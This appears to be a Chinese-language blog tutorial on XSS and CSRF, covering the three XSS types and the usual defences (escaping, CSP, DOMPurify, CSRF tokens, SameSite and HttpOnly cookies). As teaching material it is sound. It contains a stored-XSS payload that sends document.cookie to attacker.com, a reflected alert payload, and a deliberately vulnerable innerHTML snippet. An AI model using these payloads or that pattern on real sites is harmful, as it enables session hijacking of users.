一、什么是跨站脚本攻击xss跨站脚本攻击是一种通过向网页端注入恶意脚本在用户浏览器执行攻击代码的漏洞会通过url参数、表单提交等窃取用户的身份凭证如cookie、session和篡改页面内容如插入虚假广告或链接。XSS攻击case用户输入渲染评论、搜索、URL 参数第三方脚本广告、统计、CDN富文本编辑器Markdown 渲染JSON 数据直接插入 HTMLxss防御用fonttextContent代替innerHTML用户输入必须转义对用户输入的信息必须转义仅允许安全字符转义特殊字符 ’ %20等。富文本用 DOMPurify 过滤配置 CSP 头通过HTTP头Content-Security-Policy限制脚本来源Content-Security-Policy:default-srcself;script-srcselfhttps://trusted-cdn.com;二、xss的三种类型1.反射性XSS触发条件恶意脚本通过URL参数传递服务器未过滤直接返回到页面攻击场景钓鱼邮件或链接诱导用户点击举个栗子https://www.baidu.com/search?queryscriptalert(我是XSS)/script诺2.存储型XSS触发条件恶意脚本被永久存储到服务器评论、数据库用户访问时加载攻击场景富文本、输入框等用户生成内容举个栗子scriptfetch(http://attacker.com/steal?cookiedocument.cookie)/script其他用户查看评论时cookie将被发送至攻击者服务器3.DOM型XSS触发条件前端JavaScript动态操作DOM时未过滤数据导致恶意代码执行攻击场景单页面应用SPA或依赖前端路由的网站举个栗子// 漏洞代码从URL中提取参数并直接插入页面constnamenewURL(location.href).searchParams.get(name);document.getElementById(welcome).innerHTMLHello,${name}!;三、CSRF跨站请求伪造攻击攻击者诱导用户进入一个第三方网站然后该网站向被攻击网站发送跨站请求(和被攻击网站同源)。如果用户在被攻击网站中保存了登录状态那么攻击者就可以利用这个登录状态绕过后台的用户验证冒充用户向服务器执行一些操作。本质利用 cookie 会在同源请求中携带发送给服务器的特点(服务器根据域名判断)以此来实现用户的冒充。常见攻击类型GET型ex: 在网站中的一个 img 标签里构建一个请求当用户打开这个网站的时候就会自动发起提交。POST型ex: 构建一个表单然后隐藏它当用户进入页面时自动提交这个表单。链接型ex: 在 a 标签的 href 属性里构建一个请求然后诱导用户去点击。预防CSRF token验证服务端返回一个随机token客户端再次发送请求时需携带设置cookie属性可以设置samesite属性有两种模式严格模式下任何情况下不允许第三方使用宽松模式下仅允许被实现页面跳转的get请求使用四、xss和CSRF总结防御以登录为例子推荐使用纵深防御——HttpOnly Cookie SameSite CSP 输入验证。需要前后端配合登录接口使用Set-coolie返回前端请求加 credentials: include或者用 axios全局配置axios.defaults.withCredentialstrue;设置 httpOnly: true 后 JavaScript 读不到对于CSRF加个 sameSite: lax 就能解决大部分场景。这方案在开发成本上的性价比是很高的而对于APP内置的WebView用HttpOnly Cookie可能有兼容问题需要重新评估该方案。